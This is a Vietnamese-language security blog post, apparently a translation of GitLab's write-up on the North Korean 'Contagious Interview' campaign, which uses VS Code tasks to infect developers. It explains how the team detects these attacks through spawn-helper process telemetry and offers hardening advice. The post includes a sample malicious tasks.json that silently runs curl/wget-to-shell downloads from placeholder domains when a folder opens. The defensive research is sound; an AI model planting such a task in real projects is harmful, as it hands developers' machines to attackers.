Phát hiện và ngăn chặn các cuộc tấn công “Contagious Interview” nhắm vào IDE

Phát hiện và ngăn chặn các cuộc tấn công “Contagious Interview” nhắm vào IDE

Gần đây, nhóm Tình báo Mối đe dọa của GitLab, thuộc Bộ phận Vận hành Bảo mật, đã công bố một bài viết chi tiết tiết lộ thủ đoạn của Triều Tiên và mô tả cách GitLab đã theo dõi và làm gián đoạn các tác nhân độc hại này. Bộ phận Vận hành Bảo mật tại đây cũng bao gồm Nhóm Ứng phó Sự cố Bảo mật (Security Incident Response Team — SIRT), Ghi nhật ký Bảo mật, Tình báo Tín hiệu (Signals Intelligence) và Nhóm Đỏ (Red Team). Sự hợp tác chặt chẽ giữa các chuyên môn bảo mật này cho phép chúng tôi biến dữ liệu tình báo thành các bài tập mô phỏng kẻ thù qua Red và Purple Team, đồng thời chủ động xây dựng các kỹ thuật phát hiện và ngăn chặn dựa trên hoạt động đó.

Vì vậy, song song với việc phát hiện thủ đoạn của Triều Tiên và chiến dịch mối đe dọa Contagious Interview, chúng tôi đã phát triển các biện pháp kiểm soát tùy chỉnh để ngăn chặn các chiến dịch phần mềm độc hại tương tự, đặc biệt là những chiến dịch lợi dụng tấn công qua IDE. Trong bài viết này, chúng tôi chia sẻ các kiểm soát đó cùng với các kỹ thuật mà chúng tôi sử dụng để bảo vệ khách hàng, hỗ trợ cộng đồng an ninh mạng rộng hơn và tiếp tục ngăn chặn các tác nhân độc hại này.

Tình báo mối đe dọa

Bài viết về thủ đoạn Triều Tiên tập trung vào một tập hợp rộng các cuộc tấn công, kỹ thuật và Chỉ số Xâm phạm (IOCs) mà các tác nhân nhà nước Triều Tiên đang sử dụng để thực hiện cả cuộc tấn công diện rộng lẫn tấn công có mục tiêu. Một trong các đường đi tấn công được ghi nhận là việc sử dụng các tác vụ của Visual Studio Code để phân phối phần mềm độc hại. Chiến dịch mối đe dọa Contagious Interview thường dựa vào quy trình phỏng vấn giả để thuyết phục nạn nhân tải xuống và mở một kho mã, từ đó thực thi tấn công thông qua các tác vụ của VS Code.

Tác vụ VS Code là một cơ chế được thiết kế để tự động hóa các công việc phổ biến mà nhà phát triển muốn chạy khi mở một kho mã, như linting, build, đóng gói, kiểm thử hoặc triển khai hệ thống phần mềm. Thông qua một tệp cấu hình đơn giản trong repo, tasks.json, nhà phát triển có thể tự động chạy mã mỗi khi họ mở kho mã. Việc chạy các tác vụ này yêu cầu phải tin tưởng vào repository.

Các tiền đề lừa đảo của Contagious Interview thường dựa trên các repository độc hại, vì vậy việc chuyển sang sử dụng tác vụ VS Code để thực thi mã là một bước tiếp diễn đơn giản trong kịch bản tấn công của họ. Nạn nhân được khuyến khích tải xuống và mở repository độc hại trong VS Code (thường là để xem mã như một phần của quy trình phỏng vấn). Vì nạn nhân tin rằng họ đang dự phỏng vấn xin việc, họ chịu áp lực lớn để “tin tưởng” workspace của người phỏng vấn, tạo điều kiện cho tác vụ độc hại chạy mà không hay biết.

Một ví dụ về tệp tasks.json độc hại được trình bày bên dưới. Nó khá đơn giản — phát hiện hệ điều hành và tải giai đoạn tiếp theo của phần mềm độc hại tương ứng cho nền tảng đó, sử dụng cấu trúc curl | bash. Các tên miền trong ví dụ là các trình giữ chỗ và không phải IOCs thực tế. Các IOCs chi tiết cho các tác nhân này đã được chia sẻ trong bài đăng trước đó của chúng tôi.

        "version": "1.0.8",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.example[.]com/settings/mac?flag=8' | bash"
      },
      "linux": {
        "command": "wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh"
      },
      "windows": {
        "command": "curl https://www.example[.]com/settings/windows?flag=8 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]

    

Việc thực thi mã độc như trên sau đó thường được dùng để triển khai các infostealer, đánh cắp mật khẩu và tiền điện tử, và cuối cùng là thiết lập sự tồn tại lâu dài để lợi dụng quyền truy cập tin cậy của nạn nhân vào mạng lưới doanh nghiệp.

Khi chúng tôi hiểu được cách tác nhân đe dọa đạt được việc thực thi mã ban đầu, chúng tôi đã có mục tiêu để triển khai các biện pháp phòng ngừa nhằm phát hiện những cuộc tấn công này trước khi các máy trạm của GitLab bị nhắm tới.

Phát hiện và phòng ngừa đa diện

Chúng tôi luôn mong muốn phát triển các biện pháp phát hiện và phòng ngừa ở mức “thấp nhất” có thể, bởi vì các kiểu phát hiện ở mức thấp thường khó bị vượt qua hơn. Thêm vào đó, tình báo mối đe dọa chỉ ra rằng các dự án khác fork từ VS Code cũng dễ bị tấn công qua repository độc hại tương tự. Vì vậy, thay vì chỉ tập trung vào phát hiện riêng cho VS Code, chúng tôi tìm kiếm lớp “gần hệ điều hành nhất” nơi có thể xác định được việc thực thi mã độc này. Điều này cho phép kỹ thuật phát hiện của chúng tôi phát hiện không chỉ khai thác qua tác vụ VS Code, mà còn các tấn công nhắm vào các bản fork của VS Code hoặc IDE tương tự viết bằng Node có tác vụ nền.

Khi xem xét mã nguồn của VS Code, chúng tôi xác định rằng lời gọi thư viện node-pty.spawn() được sử dụng khắp sản phẩm khi cần khởi chạy các tiến trình con. Thư viện node-pty rất phổ biến, với hơn một triệu lượt tải hàng tuần vào thời điểm viết. Thư viện này cho phép các ứng dụng Node (bao gồm các ứng dụng Electron như VS Code) fork tiến trình con từ ngữ cảnh node, và dẫn đến các lời gọi tới nhị phân của chính nó, spawn-helper. Khi tiến trình con được khởi chạy, spawn-helper được sinh ra như một tiến trình con của ứng dụng Node gọi nó.

Sau khi thực hiện một hoạt động Purple Team để mô phỏng đường đi tấn công cụ thể này, chúng tôi đã rà soát các telemety Endpoint Detection and Response (EDR) để không chỉ phát triển một cơ chế phát hiện mạnh cho cuộc tấn công mô phỏng, mà còn tinh chỉnh cơ chế đó để chỉ cảnh báo các hoạt động đáng ngờ, tránh cảnh báo các hoạt động hợp pháp của nhà phát triển. Chúng tôi nhận thấy rằng spawn-helper thường được gọi trong các tình huống VS Code muốn khởi chạy các tác vụ chạy ở nền, không có sự hiển thị hay tương tác của người dùng. Ngược lại, một nhị phân Code Helper được gọi khi các tiến trình mới (chẳng hạn như Terminal tích hợp) được khởi chạy ở tiền cảnh với sự tương tác của người dùng.

Điều này cho phép chúng tôi tạo các quy tắc phát hiện chỉ tìm kiếm các tiến trình con được sinh ra mà không có sự nhận biết của người dùng, và tránh các dương tính giả do đánh dấu những tiến trình con mà người dùng có thể cố ý khởi tạo khi sử dụng IDE của họ.

Như đã trình bày trước đó, một tác vụ độc hại thường chứa các lệnh thực hiện curl | <shell> từ trong một tác vụ. Mặc dù curl | bash có thể là phương pháp hợp pháp để cài đặt phần mềm như Homebrew, trong môi trường của chúng tôi, hành vi này không bao giờ nên xảy ra ở chế độ nền mà người dùng không hay biết. Sự phân biệt này cho phép chúng tôi tinh chỉnh các phát hiện dựa trên spawn-helper để không cảnh báo trên mọi tác vụ nền, mà thay vào đó chỉ kích hoạt trên các hành vi không phổ biến và đáng ngờ trong môi trường của chúng tôi. Kể từ khi triển khai kỹ thuật phát hiện này, chúng tôi chưa gặp phải dương tính giả nào, mặc dù phần lớn tổ chức của chúng tôi sử dụng VS Code hàng ngày.

Mặc dù bài viết này tập trung vào phát hiện spawn-helper trong môi trường của bạn, đây chỉ là một trong nhiều lớp phòng thủ mà bạn có thể triển khai trong tổ chức để ngăn chặn và phát hiện các cuộc tấn công dựa trên tác vụ IDE.

Bên cạnh việc sử dụng dữ liệu EDR để phát hiện tác vụ độc hại khi chạy, bạn có thể chủ động củng cố đội ngũ bằng cách đẩy cấu hình toàn cục để vô hiệu hóa việc chạy tác vụ trong VS Code. Nếu điều đó quá gây gián đoạn cho các nhà phát triển, bạn cũng có thể quét môi trường để liệt kê tần suất sử dụng trusted workspaces và trusted workspace folders trong thói quen sử dụng VS Code, đồng thời triển khai chiến dịch đào tạo để nâng cao nhận thức về rủi ro từ đường đi tấn công Contagious Interview này.

Tóm tắt

Đội Vận hành Bảo mật của GitLab làm việc suốt ngày đêm để bảo vệ khách hàng và công ty chúng tôi. Với các đội bảo mật liên kết chặt chẽ, chúng tôi có thể sản xuất tình báo có thể hành động, tận dụng tình báo đó để thông báo cho các hoạt động mô phỏng kẻ thù, và cuối cùng phát triển các kỹ thuật phòng ngừa và phát hiện kỹ thuật lẫn thủ tục nhằm bảo vệ khách hàng và công ty.

Khi các tác vụ VS Code tiếp tục được cộng đồng an ninh quan tâm, có khả năng các tác nhân đe dọa khác sẽ cố gắng lợi dụng đường đi tấn công này cho mục đích của họ. Chúng tôi hy vọng ví dụ nhỏ này về công việc chúng tôi làm để bảo vệ GitLab và khách hàng có thể truyền cảm hứng cho những tổ chức khác làm điều tương tự, và cùng chúng tôi trong sứ mệnh liên tục làm gián đoạn các tác nhân đe dọa.

Theo dõi các sáng kiến và nghiên cứu của chúng tôi trên trang Security Labs.

Nếu quý vị muốn được tư vấn chuyên sâu hoặc triển khai các giải pháp bảo mật tương tự để bảo vệ tổ chức, vui lòng liên hệ Softribution để được hỗ trợ tư vấn và cung cấp giải pháp phù hợp với nhu cầu của bạn.

Share this post